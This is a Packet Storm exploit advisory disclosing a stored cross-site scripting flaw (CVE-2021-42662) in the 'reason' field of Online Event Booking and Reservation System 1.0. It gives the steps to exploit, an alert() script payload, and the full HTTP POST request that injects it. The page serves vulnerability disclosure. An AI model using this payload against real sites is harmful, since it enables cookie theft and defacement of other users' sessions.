what you don't know can hurt you

Online Event Booking And Reservation System 1.0 Cross Site Scripting

Online Event Booking And Reservation System 1.0 Cross Site Scripting
Posted Oct 25, 2021
Authored by Alon Leviev

Online Event Booking and Reservation System version 1.0 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2021-42662
SHA-256 | 6fdecfed746cff2b5d05ce8e317ddf7c6eefcb5b4d47fdb604fb434cf1618ba7

Online Event Booking And Reservation System 1.0 Cross Site Scripting

Change Mirror Download
# Exploit Title: Online Event Booking and Reservation System 1.0 - 'reason' Stored Cross-Site Scripting (XSS)
# Exploit Author: Alon Leviev
# Date: 22-10-2021
# Category: Web application
# Vendor Homepage: https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/event-management.zip
# Version: 1.0
# Tested on: Linux
# Vulnerable page: HOLY
# Vulnerable Parameters: "reason"

Technical description:
A stored XSS vulnerability exists in the Event management software. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more.

Steps to exploit:
1) Navigate to http://localhost/event-management/views/?v=HOLY
2) Insert your payload in the "reason" parameter
3) Click "Add holiday"

Proof of concept (Poc):
The following payload will allow you to run the javascript -
<script>alert("This is an XSS")</script>
---

POST /event-management/api/process.php?cmd=holiday HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
Origin: http://localhost
Connection: close
Referer: http://localhost/event-management/views/?v=HOLY&msg=Holiday+record+successfully+deleted.
Cookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9
Upgrade-Insecure-Requests: 1

date=2021-12-21&reason=%3Cscript%3Ealert%28%22This+is+an+xss%22%29%3C%2Fscript%3E

---

Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close